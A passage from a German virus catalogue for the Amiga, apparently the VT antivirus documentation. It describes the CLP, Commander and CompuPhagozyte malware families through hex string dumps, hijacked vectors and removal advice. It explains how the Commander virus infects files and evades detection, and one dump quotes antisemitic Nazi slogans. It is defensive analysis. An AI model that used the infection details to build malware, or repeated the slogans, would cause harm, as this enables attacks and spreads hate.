  3856.       Empfehlung: Loeschen
  3857.       Im File ist zu lesen:
  3858.          Your clock was infected and is now cured!
  3859.          Your clock is healthy!
  3860.          You don't have a clock!
  3861.  
  3862.    - CLP-Trojan   File  Laenge ungepackt: 51000-52000 Bytes
  3863.       siehe auch bei UA62-ACP-Trojan, PHA Trojan
  3864.       Soll in CLP_WOW.exe sein. Wer das File hat, moege es mir BITTE
  3865.       zuschicken. Danke
  3866.       Ich habe KEIN lauffaehiges Virusfile. Nur GURU auf allen Maschinen
  3867.       und jeder KS .
  3868.       Keine verbogenen Vektoren.
  3869.       Keine Vermehrung
  3870.       Namensbegruendung: siehe Auszug
  3871.       Schaden:
  3872.       Soll in alle Files in S: einen Text schreiben.
  3873.            62726172 7900533a 0049736e 27742043 brary.S:.Isn't C
  3874.            55544520 4c495454 4c452050 4f4e4e49 UTE LITTLE PONNI
  3875.            4553206a 75737420 61206e69 63652067 ES just a nice g
  3876.            726f7570 213f2e2e 2e206861 68616861 roup!?... hahaha
  3877.            ;usw
  3878.       Clone:  Anim_demo.exe  Laenge: 1795068 Bytes  !!!!
  3879.       gefunden in: kef_ani.lha  Laenge: 179143 Bytes
  3880.       Es handelt sich NICHT um ein Intro, sondern am Ende steht 2x
  3881.       das CygnusEd Prof. 3.5 Prg.
  3882.       Es wurden 2 4EB9-4EF9-Links verwendet, um ein CLP-Teil anzu-
  3883.       haengen. Unterschiede:
  3884.       a) es soll nicht nach s: sondern nach BBS: gesucht werden.
  3885.       b) es wird der dR. WHo Text (s.u. bei UA62) verwendet.
  3886.       VT erkennt: CLP-Virus ???
  3887.       VT bietet nur loeschen an. Begruendung:
  3888.       Das Teil ist NICHT lauffaehig.
  3889.       Der Source-Code von CLP-Trojan ist durch die Netze gewandert.
  3890.       Verstehe ich nicht so ganz. Dieser Source hatte MEHRERE Fehler.
  3891.       Genau die gleichen Fehler tauchen auch in diesem Prg auf.
  3892.       Bessert man die Fehler nach, so koennte Anim_demo.exe bei ge-
  3893.       nuegend Speicher und vorhandener BBS: Schaden anrichten. Die
  3894.       Groesse des Files ist in der Speicherreservierung fuer den
  3895.       Scan von BBS: begruendet.
  3896.  
  3897.    - CLP-MST-Trojan   Laenge ungepackt: 51256
  3898.       anderer Name: MST-VEC Virus, MST-Inte Virus
  3899.       Dieses Teil ist lauffaehig !!!!!!!!!!
  3900.       Keine verbogenen Vektoren
  3901.       Das File ist an Nichts angelinkt. Mir also unverstaendlich warum
  3902.       jemand das freiwillig aufrufen sollte ???
  3903.       Schreibt in alle Files in s: einen Text
  3904.              PCD_ueberschrieben:
  3905.            4655434b 20424f42 4f20414e 44204a45 FUCK BOBO AND JE
  3906.            57495348 20415845 21205349 45472048 WISH AXE! SIEG H
  3907.            45494c21 20474153 20524f4f 4c455a21 EIL! GAS ROOLEZ!
  3908.            20424545 45415645 5253210a 61737369  BEEEAVERS!.assi
  3909.            676e2066 726f6d3c 24243e3a 206f6672 gn from<$$>: ofr
  3910.            6f6d3c24 243e3a0a 61737369 676e206f om<$$>:.assign o
  3911.       VT bietet fuer das trojanische Pferd und fuer die ueberschriebenen
  3912.       Files loeschen an.
  3913.  
  3914.    - COBRA-Virus   BB    Fastmem: Nein   KS2.04: Nein
  3915.       BeginIo, KickTag, KickCheckSum, Exec IntVec 5
  3916.       Namensbegruendung:
  3917.        4E714E71 4E752043 4F425241 20484157 NqNqNu COBRA HAW
  3918.        20484157 20484157 200041FA 002C3010  HAW HAW .Au'.,0.
  3919.       Schaeden und Vermehrung: BB
  3920.       VT kennt: 15.10.92
  3921.  
  3922.    - CODER     anderer Name: Coders Nightmare
  3923.       immer $7f600, DoIo, KickTag, KickCheckSum, $68
  3924.       Fordert trackdisk.device NICHT
  3925.       im BB steht unverschluesselt:
  3926.       Bootblock installed with 'CODER' - The Ultimate Viruskiller!!
  3927.       Vermehrung: ueber BB
  3928.       im Speicher steht (entschluesselt mit ror.b #2,d1):
  3929.             Something WONDERFUL has happened!!
  3930.          Your Amiga is alive, and it is infected with the
  3931.          'Coders Nightmare Virus'. - The ultimate key-killer,
  3932.          masterminded by the megamighty Mr. N of
  3933.          The Power Bomb Systems!!
  3934.  
  3935.    - Coders Nightmare    anderer Name: CODER  s.o.
  3936.  
  3937.    - COHEN-Virus  BB  HODEN-Virus-Clone  s.u.
  3938.       Spritedaten geaendert.
  3939.       Verwendet NICHT mehr absoluten KS1.2 DoIo .
  3940.       Code teilweise um vier Bytes verschoben.
  3941.       Fordert trackdisk.device NICHT.
  3942.       Text im BB geaendert:
  3943.            46726564 20436f68 656e202d 20556e69 Fred Cohen - Uni
  3944.            76657273 69747920 536f7574 6865726e versity Southern
  3945.            2043616c 69666f72 6e696120 31393839  California 1989
  3946.  
  3947.    - Color   Filevirus  Laenge: 2196Bytes
  3948.          DoIo immer $70000, Cool
  3949.          belegt sinnlos 102400 Bytes ChipMem,
  3950.          taeuscht durch ein Graphik-Demo, schwarzer Hintergrund und
  3951.          drei Balken (rot, gruen, blau) und installiert gleichzeitig
  3952.          ab 70000 das Virusprogramm und ab 7F000 den Virus-BB (TURK).
  3953.          Veraendert die startup-s. NICHT.
  3954.          Schaeden:
  3955.          Bei DoIo-Einsprung wird der Virus-BB geschrieben.
  3956.          Bei Cool-Einsprung wird $5000 x TURK in den Speicher geschrieben.
  3957.  
  3958.    - ComKillerV1.6-Trojan   siehe bei WIREFIRE-Trojan
  3959.  
  3960.    - COMMANDER-Virus  Link
  3961.          Verlaengert ein File um 1664 Bytes
  3962.          KS1.3: ja
  3963.          Das Virusteil ist codiert in Abhaengigkeit von $DFF006 und
  3964.          $DFF007 . Textteile sind zweimal codiert, damit die Erkennung mit
  3965.          einem Speichermonitor erschwert wird.
  3966.          Das Teil meldet sich nicht.
  3967.           2x decodiert ist im Speicher zu lesen:
  3968.             434f4d4d 414e4445 5220293e 2d206279 COMMANDER )>- by
  3969.             20427261 214e2042 6c615354 65722069  Bra!N BlaSTer i
  3970.             6e203139 39340000 4448303a 432f4c6f n 1994..DH0:C/Lo
  3971.             61645742 00004448 3000646f 732e6c69 adWB..DH0.dos.li
  3972.             62726172 79007265 71746f6f 6c732e6c brary.reqtools.l
  3973.             69627261 72792072 6571746f 6f6c7320 ibrary reqtools
  3974.             33382e38 38380000 a0000000 00150000 38.888..........
  3975.          Verbogene Vektoren 1: ExNext, Examine
  3976.           Aufgabe:
  3977.           Beide verbogenen Vektoren sollen die Erkennung des Virusteils
  3978.           ueber die Fileinfostruktur verhindern. Die Filelaenge und die
  3979.           Blockanzahl wird verringert. Das $A0 aus den SetComment-Bereich
  3980.           geloescht.
  3981.          Verbogene Vektoren 2: Open, Rename, Lock, LoadSeg, SetComment,
  3982.           Setprotection.
  3983.           Aufgabe:  Sprung zur Linkroutine
  3984.          Ablauf im Speicher :
  3985.           Beim Einbau im Speicher wird zuerst ueber setcomment getestet,
  3986.           ob das Teil schon aktiv ist ($7419F1A2).
  3987.           Falls nein, wird nach einem Task DH0 gesucht.
  3988.           Falls gefunden, Suche nach DH0:C/LoadWB und verseuche. Dies er-
  3989.           klaert, warum auf verseuchten Festplatten meist auch LoadWB
  3990.           betroffen ist.
  3991.          Ablauf des Link-Vorgangs :
  3992.           Test ob :
  3993.            - File schon verseucht ($7419F1A2)
  3994.            - Filename beginnt nicht mit v oder V
  3995.            - Disk validated
  3996.            - File ist ausfuehrbar $3F3
  3997.            - $3E9 wird gefunden
  3998.            - 1. Hunk ist nicht laenger als $1E00x4=$7800=#30720
  3999.           Das Teil wird hinter den 1.Hunk gelinkt.
  4000.           Um den Einsprung in den Linkteil sicherzustellen, wird im Original-
  4001.           Hunk nach einer Bytefolge gesucht.
  4002.           Gesucht wird nach:
  4003.                   $4EAE  = jsr xy(a6)  (es muss NICHT openlib sein)
  4004.             oder  $6100  = bsr
  4005.           Diese Stelle wird ersetzt durch:
  4006.                   $4EBAuvwx  = jsr Virusbeginn.
  4007.           VT versucht den Original-Filezustand wieder herzustellen. Arbeiten
  4008.           Sie bitte mit einer Kopie. Wenn mehrere Files auf der Disk ver-
  4009.           seucht waren, empfehle ich ihnen eine Disk LANG zu formatieren und
  4010.           alle Files auf diese Disk zu kopieren. Die Disk-Struktur wird da-
  4011.           durch wieder geordnet. Die Disk wird schneller.
  4012.           VT versucht das Teil im Speicher zu erkennen. Bitte ueberlegen Sie
  4013.           unter KS1.3 ob nicht ein KReset sinnvoll waere.
  4014.           HINWEIS: !!!!!!!!!!
  4015.           Wenn Sie bei diesem Virusteil sogenannte "NutzPrge" mitlaufen
  4016.           lassen, die auch obengenannte Vektoren verbiegen, so finden Sie
  4017.           das Virusteil NIE !!!!!!!!!!
  4018.           Nachtrag 26.10.94:
  4019.           Es ist ein File "Kill" aufgetaucht. Laenge ungepackt: 2252 Bytes
  4020.           Dieses Prg soll den COMMANDER loeschen. Leider enthaelt dieses
  4021.           Prg einen KOMPLETTEN und LAUFFAEHIGEN (!!!!!) COMMANDER-Virusteil
  4022.           ab $1F0 im File.
  4023.           Dringende Empfehlung: sofort loeschen !!!!
  4024.           Nachtrag 25.11.94:
  4025.           Es ist ein neues File aufgetaucht:
  4026.           DENISTRO.EXE
  4027.           Laenge mit Text-Hunks und Commander-Virus  71800 Bytes
  4028.           Laenge ALLES ausgebaut                     64844 Bytes
  4029.           Aeltere VT (z.B. VT2.68) haben das Teil aber schon mit Block-
  4030.           KetteTest gefunden.
  4031.           Wichtig: Der Commander-Teil hat sich NICHT ueber die Text-Hunks
  4032.           hinweggelinkt, sondern die Text-Hunks wurden DANACH angehaengt.
  4033.           VT2.69 meldet "Text-Hunk am Anfang" und bietet Ausbau an.
  4034.           In diesem Fall werden die Text-Hunks UND der Commander-Teil in
  4035.           einem Durchgang ausgebaut. Dies ist ein Sonderfall, da ja das
  4036.           File bekannt ist. Im Normalfall MUESSEN Sie nach dem Text-Hunk-
  4037.           Ausbau IMMER einen zweiten FileTest starten. Lesen Sie bitte
  4038.           bei Text-Hunk am Anfang nach. Danke
  4039.           Hinweis 01.95:
  4040.           Es gibt im Moment ein Antivirusprogramm, das die $6100-Variante
  4041.           erkennt und ausbaut. Leider ist der Ausbau FALSCH, da $4EAE
  4042.           zurueckgeschrieben wird anstatt $6100 . Die Lauffaehigkeit des
  4043.           Programms duerfen Sie NICHT erwarten.
  4044.           Hinweis:
  4045.           Das Virusteil haengt sich auch an Fonts (vgl. Helvetica 9), wenn
  4046.           die gesuchte Byteabfolge gefunden wird. Die Font-Struktur ist
  4047.           dann natuerlich unbrauchbar und das Teil kann sich ueber diesen
  4048.           Font NICHT vermehren. Versuchen Sie bitte einen Ausbau.
  4049.           Hinweis:
  4050.           Unter gewissen mir unbekannten Umstaenden soll sich das Virusteil
  4051.           auch an Files linken, deren 1.Hunk viel zu lang ist. Diese ver-
  4052.           seuchten Files sind dann NICHT lauffaehig, da ja der Sprungbefehl
  4053.           falsch ist. Ich mache Ihnen nicht viel Hoffnung, wenn das Virus-
  4054.           teil abgetrennt ist. Wenn Sie Erfahrung haben, koennen Sie mit
  4055.           einem Filemonitor nach 4ebauvwx suchen und dann probieren. Ob sich
  4056.           das lohnt ???
  4057.  
  4058.    - Commander-cod.  (codiert)
  4059.           Fundort z.B.: CD-HOTTEST5/PDSOFT/LIBRARY/DMS/DISK4241.DMS
  4060.           Es handelt sich um ein Demo, das aus zwei Disketten besteht.
  4061.           Textauszug:
  4062.                                  -+* My Mama Is a Vampire *+-
  4063.                           ÐµP£Ø PrØdUçtIønS 1994
  4064.                                 Version 3.0
  4065.                        Release date: 30 October 1994
  4066.              ;.....
  4067.                                                  Vicious of Duplo
  4068.           Gefaehrlich ist das File vampire.exe (L:875778) von Disk 1.
  4069.           Die Disk2 ist entgegen anderer Aussagen NICHT verseucht.
  4070.           Eine Meldung vampire2 ist verseucht, ist FALSCH.
  4071.           Sicherheitshalber sollten Sie aber beide Disks
  4072.           formatieren (LANG!!)
  4073.           Die Hunk-Struktur des Files war mir bis jetzt unbekannt. Am
  4074.           Fileende fehlt die 3F2-Kennung. Nachtrag: es handelt sich
  4075.           um eine SELTEN anzutreffende Overlay-File-Struktur.
  4076.           Fileauszug:
  4077.           074f7665 726c6179 48e77ffe 267affe2 .OverlayH..&z..
  4078.            ;......
  4079.           2d2d2d2d 2d2d0a0a 0d4e6f74 20656e6f ------...Not eno
  4080.           75676820 6d656d6f 72792074 6f207374 ugh memory to st
  4081.           61727420 564f532d 5368656c 6c212050 art VOS-Shell! P
  4082.           726f6772 616d2074 65726d69 6e617465 rogram terminate
  4083.            ;usw.
  4084.           Falls Sie so etwas bei anderen Files mit dem Filemonitor
  4085.           sehen, sollten Sie SEHR vorsichtig werden. Die Gruppe
  4086.           Duplo scheint ihre Systeme NICHT virenfrei halten zu koen-
  4087.           nen. Dies zeigt sich am Vampire-Vorfall. Loeschen Sie der-
  4088.           artige Files. Sicher ist sicher !!!!!
  4089.           Das File besteht aus mehreren Einzelfiles, die nacheinander
  4090.           aktiviert werden. Die Einzelfiles sind mit -eori.b- codiert.
  4091.           Deshalb wurde der Commander-Virus beim Filetest und beim
  4092.           BlockKetteTest nicht entdeckt.
  4093.           In diesem File ist der Commander-Virus NUR 7x enthalten. Bil-
  4094.           den Sie sich Ihre eigene Meinung von der Gruppe Duplo !!!
  4095.           Im File 1x bei $C502.... 7x bei $CF508. Wenn Sie das selbst
  4096.           nachvollziehen wollen, nehmen Sie bitte nicht das Langwort bei
  4097.           $C502, sondern das Langwort bei $C506 zum Suchen mit einem
  4098.           Filemonitor.
  4099.           VT bietet nur Loeschen an.
  4100.           Wichtiger Hinweis !!!!!
  4101.           Auf einem A2000 mit 68030 kommt ein GURU . (AGA fehlt)
  4102.           ABER !!!!!!
  4103.           Vorher wurde schon DH0:c/loadwb verseucht !!!!
  4104.           Nach einem RESET wurde die Platte validiert UND danach das
  4105.           Virusteil dank loadwb sofort aktiviert !!!!
  4106.  
  4107.  
  4108.  
  4109.    - Commodore-Virus  File  Laenge:1752  reines Zerstoerungsprogramm
  4110.          KEINE Vermehrung, also nach Definition kein Virus. Unter
  4111.          welchem Namen das Programm weitergegeben wird, ist mir nicht
  4112.          bekannt. Als VirusTestPrg ???? siehe unten . NICHT resetfest.
  4113.  
  4114.          Namensbegruendung:
  4115.            20210054 68697320 69732074 6865206E  !.This is the n
  4116.            65772043 6F6D6D6F 646F7265 2D566972 ew Commodore-Vir
  4117.            75732021 00425920 53544152 4C494748 us !.BY STARLIGH
  4118.            5420454E 54455250 52495345 53203139 T ENTERPRISES 19
  4119.            39320000                            92
  4120.          Verbiegt Cool auf eigenen Programmtext (Schwachsinn),
  4121.          also voellig unsinnig. Da ausserdem allocmem nicht
  4122.          benutzt wird, wird nach Programmende der Speicher von
  4123.          einem beliebigen anderen Programm benutzt, d.h. der
  4124.          Cool-Vektor zeigt auf irgendetwas, nur nicht auf den
  4125.          gewuenschten Text, weil dieser ja laengst ueberschrieben
  4126.          ist. VT erkennt beim Cool-Vektor-Test deshalb nur unbe-
  4127.          kanntes Programm. Gehen Sie Weiter und loeschen Sie den
  4128.          Vektor in VT/Tools. Danke
  4129.          Legt eine Zaehlzelle bei $66666 an, OHNE allocmem.
  4130.          Schreibt auch einen anderen Wert ins RangerRAM ($C0).
  4131.          Da auch der Text "dos.library" 3x im Programm vorkommt
  4132.          und aufgerufen wird, draengt sich der Verdacht auf, dass
  4133.          ein Anfaenger 3 Assemblerkursteile zusammengesetzt hat.
  4134.          Abhaengig von Zaehlzelle:
  4135.          DisplayAllert:   (Zelle=2)
  4136.  
  4137.            00961420 20204968 7220436F 6D707574 ...   Ihr Comput
  4138.            65722069 737420DC 62657268 69747A74 er ist überhitzt
  4139.            20212121 0001007D 2D57656E 6E206573  !!!...}-Wenn es
  4140.            206E6163 68206465 6D205265 73657420  nach dem Reset
  4141.            65696E20 61627374 75727A20 67696274 ein absturz gibt
  4142.            000100AA 46202053 4348414C 54454E20 ...S   SCHALTEN
  4143.            49484E20 53494520 42495454 45204155 IHN SIE BITTE AU
  4144.            53000100 D7552020 20436F6D 6D6F646F S...xU   Commodo
  4145.            72652031 39383700                   re 1987.
  4146.          oder Textausgabe: (Zelle=3)
  4147.            0000636F 6E3A3130 2F31302F 3333302F ..con:10/10/330/
  4148.            35302F52 45515545 53542000 9B316D9B 50/REQUEST ..1m.
  4149.            33336D20 4B45494E 20564952 55532049 33m KEIN VIRUS I
  4150.            4E204452 49564520 4446303A 20200A20 N DRIVE DF0:  .
  4151.            20202020 20204745 46554E44 454E2021       GEFUNDEN !
  4152.            21202020                            !
  4153.          Schaeden:
  4154.            - loescht startup-sequence
  4155.            - schreibt leeres Unterverzeichnis
  4156.               Name: Commodore war hier !!
  4157.          Erkennung im Speicher mit VT: nicht moeglich (siehe oben)
  4158.          File-Erkennung mit VT getestet: 26.09.92
  4159.          Empfehlung: einfach loeschen und gegebenenfalls in s-sequence
  4160.          nachschauen, ob geloeschter Programmname dort auftaucht. Dann
  4161.          bitte diese Zeile mit ED loeschen.
  4162.  
  4163.    - CompuPhagozyte   File  Laenge ungepackt: 1452
  4164.          keine Vektoren verbogen
  4165.          sichtbar z.B.: The CompuPhagozyte usw.
  4166.          Erstellt eine Fensterleiste mit dem Text:
  4167.             Virus-Checker V4.0 by ... (Name)
  4168.          Verraet sich, wenn Sie die Fensterleiste anklicken, weil im
  4169.          Gegensatz zum echten Virus-Checker NICHTS passiert. Wartet
  4170.          auf CloseWindow und DiskInserted.
  4171.          Schaeden:
  4172.          Solange die Fensterleiste da ist, wird bei jeder neu eingelegten
  4173.          nicht schreibgeschuetzten Disk mit c/Virus-Checker bei mir das
  4174.          Orig-Prg auf 1452 Bytes gekuerzt. (also keine Vermehrung)
  4175.          Empfehlung: loeschen und Orig-Virus-Checker neu aufspielen.
  4176.  
  4177.    - CompuPhagozyte 2  File  Laenge ungepackt: 1148
  4178.          keine Vektoren verbogen
  4179.          sichtbar z.B.: The CompuPhagozyte usw.
  4180.          Erstellt eine Fensterleiste mit dem Text:
  4181.             VirusX 5.00 by ... (Name)
  4182.          Verraet sich, wenn Sie die Fensterleiste anklicken, weil im
  4183.          Gegensatz zum echten VirusX NICHTS passiert. Wartet auf Close-
  4184.          Window und DiskInserted.
  4185.          Schaeden:
  4186.          Solange die Fensterleiste da ist, wird bei jeder neu eingelegten
  4187.          nicht schreibgeschuetzten Disk mit c/VirusX bei mir das
  4188.          Orig-Prg auf 1148 Bytes gekuerzt. (also keine Vermehrung)
  4189.          Empfehlung: loeschen und Orig-VirusX 4.01 neu aufspielen.
  4190.  
  4191.            6e2e6c69 62726172 79003a63 2f566972 n.library.:c/Vir
  4192.            75735800 3a632f56 69727573 58005468 usX.:c/VirusX.Th
  4193.            6520436f 6d707550 6861676f 7a797465 e CompuPhagozyte
  4194.            20686173 20617474 61636865 6420746f  has attached to
  4195.            20796f75 72207379 7374656d 20210a57  your system !.W
  4196.            61697420 666f7220 206e6577 20766972 ait for  new vir
  4197.            75732069 6e206f74 68657220 636f6d70 us in other comp
  4198.            75746572 2d737973 74656d73 20210a20 uter-systems !.
  4199.            54686520 436f6d70 75506861 676f7a79 The CompuPhagozy
  4200.            74652069 6e20392e 39312062 79205468 te in 9.91 by Th
  4201.            6520456d 7065726f 72204f66 20547269 e Emperor Of Tri
  4202.            6c6c696f 6e202042 79746573 20210000 llion  Bytes !..
  4203.            56697275 73582035 2e303020 62792053 VirusX 5.00 by S
  4204.            74657665 20546962 62657474 00000000 teve Tibbett....
  4205.          Es ist ein Clone aufgetaucht, wobei nur die Texte geaendert
  4206.          wurden. Wieder ein Beispiel fuer geistigen Tiefflug !!!
  4207.          Zu mehr reicht es halt nicht. Geht im Sandkasten spielen, da
  4208.          koennt Ihr Euch niveaumaessig angemessen ausleben !!!
  4209.          Wird weiterhin als CompuPhagozyte 2 erkannt.
  4210.            79003a63 2f566972 75735a00 0007c000 y.:c/VirusZ.....
  4211.                ;.....
  4212.            4e6f2076 6563746f 72732063 616e2063 No vectors can c
  4213.            68616e67 65642061 6e796d6f 72652073 hanged anymore s
  4214.            6f20796f 75722063 6f6d7075 74657220 o your computer
  4215.            69732073 61666520 21202120 21200000 is safe ! ! ! ..
  4216.            56697275 735a2049 4920312e 30322047 VirusZ II 1.02 G
  4217.            656f7267 2048f672 6d616e6e 00000000 eorg H.rmann....
  4218.  
  4219.  
  4220.    - CompuPhagozyte 3  File  bekannte Filelaengen: 568 Bytes
  4221.                                                    592 Bytes
  4222.         Die verschiedenen Filelaengen muessen von Hand erzeugt sein,
  4223.         da ein entsprechender Code im Prg nicht vorkommt.
  4224.  
  4225.        Cool immer $7C000
  4226.        Wahrscheinlich als cls-Befehl getarnt, da mit mehreren " ",0a
  4227.        das Shell-Fenster geloescht wird.
  4228.          fuer mich KEIN Virus, Routine veraltet, KEINE Vermehrung
  4229.          im Prg zu lesen:
  4230.            200A5468 6520434F 4D505550 6861676F  .The COMPUPhago
  4231.            7A797465 20696E20 392E3931 20212121 zyte in 9.91 !!!
  4232.            0A546865 20456D70 65726F72 204F6620 .The Emperor Of
  4233.            5472696C 6C696F6E 20427974 65732073 Trillion Bytes s
  4234.            7472696B 65732062 61636B20 21210A1F trikes back !!..
  4235.          Legt ab $7C000 ein kleines Prg ab, das durch cool resetfest sein
  4236.          soll (geht z.B nicht mit 1Mb). Dieses Prg loescht Cold, Warm,
  4237.          KickMem, KickTag, KickCheckSum.
  4238.          KS2.04 : GURU A nach Reset
  4239.          Empfehlung: File loeschen
  4240.          Erkennung im Speicher mit VT:  ja
  4241.          Fileerkennung mit VT  :   08.10.92
  4242.    - Compu3-TAI11 Clone:  File  Laenge 592
  4243.          Namensbegruendung:
  4244.            20542041 20492020 31312020 202e2e2e  T A I  11   ...
  4245.  
  4246.    - CompuPhagozyte 4  File  bekannte Filelaengen : 916 Bytes
  4247.                                                   : 952 Bytes
  4248.         Die verschiedenen Filelaengen muessen von Hand erzeugt sein,
  4249.         da ein entsprechender Code im Prg nicht vorkommt.
  4250.  
  4251.          Cool immer $7C600 , OldOpenLib immer $7E000
  4252.          Reserviert mit AllocAbs 3 Speicherbereiche:
  4253.          $7C000   ganzes VirusPrg
  4254.          $7C600   CoolRoutine fuer RESET
  4255.          $7E000   OldOpenLibRoutine fuer Vermehrung
  4256.  
  4257.          df0:A0A0A0A0   (unsichtbar in Root)
  4258.          df0:s/startup-sequence  A0A0A0A0
  4259.  
  4260.          COMPUPhagozyte !!!  am Fileende zu lesen (s.u.)
  4261.          Testet OldOpenLib auf $FC1430  = KS 1.2 , falls nein wird neue
  4262.          OldOpenLib-Vektor-Routine NICHT kopiert. D.h. eine Vermehrung
  4263.          ist nicht moeglich. Wegen der Vorgabe (s.o.) ist nur eine Ver-
  4264.          mehrung in DF0 moeglich. Am Anfang des Files steht KEIN Text
  4265.          "Compu...".
  4266.          KS2.04 : Nach Tastatur-Reset Uebergang in Dauer-Reset.
  4267.                 Typ C 4:
  4268.            e1ce0007 e1d04446 303aa0a0 a0a00000 ......DF0:......
  4269.            4446303a 732f7374 61727475 702d7365 DF0:s/startup-se
  4270.            7175656e 63650000 a0a0a0a0 0a200a54 quence....... .T
  4271.            6865206d 69676874 206f6620 54686520 he might of The
  4272.            456d7065 726f7220 69732075 6e6c696d Emperor is unlim
  4273.            69746564 20212121 0a200a43 4f4d5055 ited !!!. .COMPU
  4274.            50686167 6f7a7974 65202121 210a0000 Phagozyte !!!...
  4275.       Hinweis: Es ist ein CompuPhagozyte-Clone aufgetaucht. Filename:
  4276.          VT-Faster. So ein Programm habe ich nie geschrieben.
  4277.          Laenge gepackt:   860 Bytes
  4278.          Laenge ungepackt: 916 Bytes
  4279.          Nur Text geaendert und Vermehrung jetzt auf HD0. Das File
  4280.          wird jetzt in c als VT abgelegt. Falls Sie da einen Original-
  4281.          VT (so heisst aber mein File NICHT) liegen haetten, wuerde
  4282.          das File zerstoert.
  4283.            e1ce0007 e1d04844 303a632f 56540000 ......HD0:c/VT..
  4284.            4844303a 732f7374 61727475 702d7365 HD0:s/startup-se
  4285.            7175656e 63650000 632f5654 0a200a55 quence..c/VT. .U
  4286.               ;.....
  4287.            6520776f 726c6421 0a200a4d 6178206f e world!. .Max o
  4288.            66205374 61726c69 67687420 210a0000 f Starlight !...
  4289.  
  4290.    - CompuPhagozyte 5  File  bekannte Filelaengen: 892 Bytes
  4291.                                                    900 Bytes
  4292.                                                    936 Bytes (1.Hunk $CF)
  4293.                                                    936 Bytes (1.Hunk $CD)
  4294.         Die verschiedenen Filelaengen muessen von Hand erzeugt sein,
  4295.         da ein entsprechender Code im Prg nicht vorkommt.
  4296.  
  4297.         Cool immer $7C600 , OldOpenLib immer $7E000
  4298.         Reserviert mit AllocAbs 3 Speicherbereiche:
  4299.          $7C000   ganzes VirusPrg
  4300.          $7C600   CoolRoutine fuer RESET
  4301.          $7E000   OldOpenLibRoutine fuer Vermehrung
  4302.  
  4303.          :A0A0A0A0   (unsichtbar in Root)
  4304.          :s/startup-sequence
  4305.           Also keine Festlegung auf DF0 mehr.
  4306.  
  4307.         COMPUPhagozyte jetzt auch am Fileanfang zu lesen:
  4308.                              434f4d50 55506861         COMPUPha
  4309.            676f7a79 74650a00                   gozyte..
  4310.          Neu: KEIN Test auf OldOpenLib = $FC1430 = KS 1.2 mehr.
  4311.          KS2.04 : Nach Tastatur-Reset Uebergang in Dauer-Reset.
  4312.         Vermehrung:
  4313.          Falls ein anderes Prg die oldopenlib-Routine aufruft, wird
  4314.          eine Vermehrung versucht. Kein Schreibschutztest vorher.
  4315.          Speicher ab $7C000 soll als A0A0A0A0-File auf Disk geschrieben
  4316.          werden. Danach wird die startup-sequence geaendert.
  4317.         Empfehlung: sofort loeschen und auch startup-sequence ueber-
  4318.                     pruefen.
  4319.                 Typ 5:
  4320.         00000000 00000000 00000000 00003aa0 ..............:.
  4321.         a0a0a000 3a732f73 74617274 75702d73 ....:s/startup-s
  4322.         65717565 6e636500 a0a0a0a0 0a200a54 equence...... .T
  4323.         6865206d 69676874 206f6620 54686520 he might of The
  4324.         456d7065 726f7220 69732075 6e6c696d Emperor is unlim
  4325.         69746564 20212121 0a200a00 000003ec ited !!!. ......
  4326.  
  4327.    - CompuPhagozyte 6  File  bekannte Filelaengen: 1008 Bytes
  4328.                                                    1048 Bytes
  4329.         Die verschiedenen Filelaengen muessen von Hand erzeugt sein,
  4330.         da ein entsprechender Code im Prg nicht vorkommt.
  4331.          :A0A0A0A0   (unsichtbar in Root)
  4332.          :s/startup-sequence    A0A0A0A0
  4333.         immer ab $7C000
  4334.         Verbogene Vektoren: Cool, OldOpenLib,
  4335.         NEU: jetzt wird auch SumKickData verbogen.
  4336.         Im File am Anfang jetzt erweiterter Text:
  4337.                           3e434f4d 50555068         >COMPUPh
  4338.         61676f7a 79746520 50726f74 65637469 agozyte Protecti
  4339.         6f6e2046 696c6520                   on File
  4340.       Sie muessen auch die s.-seq. mit einem Editor bearbeiten.
  4341.       VT kennt File und Speicher: 24.11.92
  4342.  
  4343.    - CompuPhagozyte 7  Link
  4344.       Speicher immer ab $7C000, Cool, OldOpenLib, SumKickData, DoIo,
  4345.       $6c, Open, Lock, LoadSeg, Rename
  4346.       KS1.3 ja
  4347.       KS2.04: nach Aktivierung des Teils und Aufruf eines anderen
  4348.       Programms, das ebenfalls einen obengenannten Dos-Vektor benutzt,
  4349.       bei mir immer Absturz.
  4350.       Soll sich ans Ende des 1.Hunks schreiben. Sucht nach $4E75 (RTS)
  4351.       und ersetzt durch $4E71 (NOP).
  4352.       Verlaengert ein File um #1740 Bytes ($1b3x4).
  4353.       In File ist zu lesen:
  4354.            732e6c69 62726172 7900436f 6d707550 s.library.CompuP
  4355.            6861676f 4c696e6b 20627920 54686520 hagoLink by The
  4356.                                                    ^^^^
  4357.            456d7065 726f7220 4f662054 72696c6c Emperor Of Trill
  4358.            696f6e20 42797465 ff6c33ee ffe20007 ion Byte.l3.....
  4359.       VT sollte das Teil im Speicher erkennen und abschalten koennen.
  4360.       Die Virus-Routine enthaelt mehrere Fehlerquellen. Es duerften
  4361.       haeufig nicht lauffaehige oder nicht vermehrungsfaehige Files
  4362.       entstehen. VT bietet Ausbau an. Bitte machen Sie vorher eine
  4363.       Kopie. Sie MUESSEN mit der Meldung Hunk-Struktur-defekt rechnen.
  4364.       Danke !!
  4365.  
  4366.    - CompuPhagozyte 8 FileVirus  Laenge: 1952 Bytes
  4367.       Im Speicher immer ab $7C000, Vektoren werden teilweise nach
  4368.       $7A000 gerettet.
  4369.       Cool $7C22A, DoIo $7C2C4, SumKickData $7C5F2, Open $7C3CA,
  4370.       Lock $7C3FA, LoadSeg $7C39A und $6C $7C68a .
  4371.       Wie Sie erkennen koennen sind im Vergleich zu Vorgaengerversionen
  4372.       noch mehr Vektoren verbogen und OldOpenLib wurde aufgegeben.
  4373.       Ob Nano2 von Compu 8 abgeschrieben ist oder umgekehrt oder ob
  4374.       es sich um den gleichen Programmierer handelt, kann ich nicht
  4375.       entscheiden. Sicher ist, dass die gleiche Fehlerquelle (s.u.)
  4376.       enthalten und der Ablauf gleich ist.
  4377.       Namensbegruendung:
  4378.       Im File ist decodiert zu lesen:
  4379.       The Emperor of Trillion Bytes presents:...
  4380.       a new CompuPhagozyte !!!
  4381.       Dieser Zeilen werden vom Programm nie decodiert.
  4382.       Das Virusteil versucht durch einen Text am Fileanfang zu ver-
  4383.       wirren: 
  4384.                              20202020 203a416d              :Am
  4385.            69676144 4f532044 61746166 696c6520 igaDOS Datafile
  4386.            40203139 38382062 79204342 4d202020 @ 1988 by CBM
  4387.            20200a54 68697320 66696c65 20636f6e   .This file con
  4388.            7461696e 7320696d 706f7274 616e7420 tains important
  4389.            6469736b 20646174 6120666f 72200042 disk data for .B
